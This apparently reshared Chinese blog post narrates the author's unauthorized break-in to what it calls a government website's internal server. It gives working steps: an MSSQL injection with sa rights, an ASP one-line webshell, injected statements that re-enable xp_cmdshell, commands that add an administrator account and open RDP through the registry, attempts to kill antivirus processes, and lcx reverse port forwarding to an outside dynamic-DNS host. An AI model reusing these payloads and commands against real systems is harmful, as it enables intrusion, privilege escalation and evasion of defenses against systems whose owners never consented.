您的位置:首页 > 数据库

第一次拿到一台肉鸡 -- sql注入和内网端口转发登陆内网服务器

2015-11-20 17:10 686 查看
前几天和同事说起网站安全的问题 ,突然想起来大学时无聊热衷于用些注入工具拿到网站后台,上传各种asp网马改别人首页,简直乐此不彼啊

不过也就只能拿到webshell了 ,想进一步提权拿到服务器从未成功过 ,也是一个遗憾

回想起来那会对各种数据库 ,端口什么的一窍不通,能拿到服务器那真是奇了

现在既然从事web开发 ,就想能不能弥补下当年的遗憾,拿下一台服务器试试

说干就干

重新下载各种sql注入检测工具 ,虽然现在明白了sql注入的原理,但是手工检测注入是一个很蛋疼的事情,还是得依靠工具

扫了半天 ,总算扫到一个注入点,而且还是mssql数据库的sa权限 ,顿时激动了,现在的注入点比十年前可是难扫多了啊,一个政府网站









如果是access的数据库 ,只能猜解字段,找到网站管理员的账号密码,登陆后台通过数据库备份的办法上传asp木马了 ,而且管理员密码不一定能md5破解的了

既然是mssql的sa权限就好办了 ,直接列目录,找网站的路径(如果是web网站和数据库分离的,菜鸟水平就没办法了)

顺利找到该网站路径位于 e:\web下

然后将asp一句话文件上传至该目录下 ,文件名dt1.asp

<script language="vbscript" runat="server">
If Request("密码")<>"" Then Session("lcxMarcos")=Request("密码")
If Session("lcxMarcos")<>"" Then Execute(Session("lcxMarcos"))
</script>


用大马连接



成功拿到webshell ,换个自己用的比较顺手的shell



扫了下 ,服务器只开了1433(mssql)端口 ,3389端口未开 ,ip为 192.168.250.23 ,处于内网 。。为后面的悲剧埋下伏笔

首先去执行cmd命令,发现无法使用net命令,估计是没有权限 。

大学时期时基本就到这里结束了,只能翻翻网站上的文件,心血来潮给他换个首页 。。

这一次毕竟有了web开发的经验 ,好在webshell权限比较大,可以查看下载服务器上的大部分文件 ,看到e盘有名为tomcat的目录,果断点进去,看看别人java项目怎么写的也好

毕竟我也是干java的 。。。~

果然有个名为root的java项目,翻到项目 WEB-INF/classes 目录下,看到了数据库的配置文件 ,突然想翻到mssql的数据库账号密码说不定有帮助



下载jdbc.properties文件 ,打开果然发现了mssql账号密码 ,sa权限



立马使用mssql提权

使用XP_CMDSHELL 执行cmd命令net user ymlkl woaini /add ,

但是出现错误提示

Error Message:SQL Server 阻止了对组件 'xp_cmdshell' 的 过程 'sys.xp_cmdshell' 的访问,

因为此组件已作为此服务器安全配置的一部分而被关闭。

系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。

有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。

应该是管理员关闭了xp_cmdshell
这个存储过程 ,好在也有恢复的办法

注入点依次执行

;EXEC sp_configure
'show advanced options', 1 --

;RECONFIGURE WITH OVERRIDE --

;EXEC sp_configure 'xp_cmdshell', 1 --

;RECONFIGURE WITH OVERRIDE --

;EXEC sp_configure 'show advanced options', 0 --


顺利恢复xp_cmdshell

然后执行 添加账号 net user ymlkl woaini /add ,添加成功 ,net localgroup administrators ymlkl/add 提升为管理员,提权成功 !

现在拥有了管理员账号 ,就该想办法如何远程登录了

首先开目标服务器的3389

cmd执行

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f


用netstat -ano 查看,3389已被打开



现在目标服务器远程桌面已开,又拿到了管理员权限的账号密码,万事俱备,只欠东风了

这最后一步也是最难的一步啊

首先想到的就是利用内网转发神器 lcx.exe

上传服务器,直接被杀 。。。tasklist 查看服务器进程,发现运行了杀软赛门铁克



试着远程关掉杀毒软件的进程Smc.exe

使用 TASKKILL /F /IM Smc.exe ,无法关闭,现在的杀毒软件已经不能简单的杀进程来关闭了

还是不死心,试着使用 ntsd -c q -p 3894 来关闭 ,居然提示无法找到ntsd , 上传一个ntsd.exe到服务器,继续执行 ntsd -c q -p 3894 ,还是报错进程无法访问

看来强行关闭杀软是不行了

去找了几个号称免杀的lcx.exe ,全部被杀啊 ,自己又不会做免杀

网上又找到其他的方法,有基于http的端口转发工具 reDuh和 tunna

办法也很简单, 上传此类工具的aspx或者php服务端到服务器,然后用客户端连接此服务端地址

reDuh根本连不上,一直显示数据发送错误

而tunna 是python的脚本,原理和reDuh类似 ,上传服务端连接后,打开远程登录 ,居然出现了输入账号密码的界面,顿时一喜啊 ,连忙输入账号密码,却一直显示正在加密远程连接,等了几分钟也没反应,多次试验均是无此,终于放弃

继续寻找可用的办法 ,网上找到一哥们基于GO写的lcx._g.exe,上传服务器的确没有被杀 ,可惜端口转发后,连接远程桌面提示 客户端协议错误 0x1104

还是没有成功

卡在这里好多天,一直无法解决 ,甚至想用灰鸽子远控了,但是一想到不会免杀还是放弃

本来已打算放弃 ,但是已经到了这一步快要成功就放弃真是不甘心

继续寻找可用的办法,也是机会难得,偶尔看到csdn一位发的重新精简优化过的lcx,下载,传到世界杀毒网,居然只有1款杀软报毒,顿时感觉有戏

马上上传到服务器

没有被杀!

本机运行 lcx -listen 32016 12345 ( 监听32016端口 并转发到12345端口 )

由于我也是内网,所以先用花生壳把32016端口映射到外网供目标服务器连接



这样访问*****.6655.la的22159端口 就相当于访问我本机的32016端口

用cmd在目标服务器执行 lcx -slave ******6655.la 22159 127.0.0.1 3389(将本机3389转发到******6655.la 的22159端口)

这时我的lcx提示目标服务器连接到我本机32016端口



服务器转发成功了

打开远程桌面,连接127.0.0.1:12345 ,输入之前添加的账号密码 ymlkl woaini,终于顺利登陆! 一台IBM的服务器



lcx的数据传输



内网还有其他服务器 有时间再学下内网渗透吧 。没有对服务器任何操作,只是单纯进来看看,也不弄什么日志清除了

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息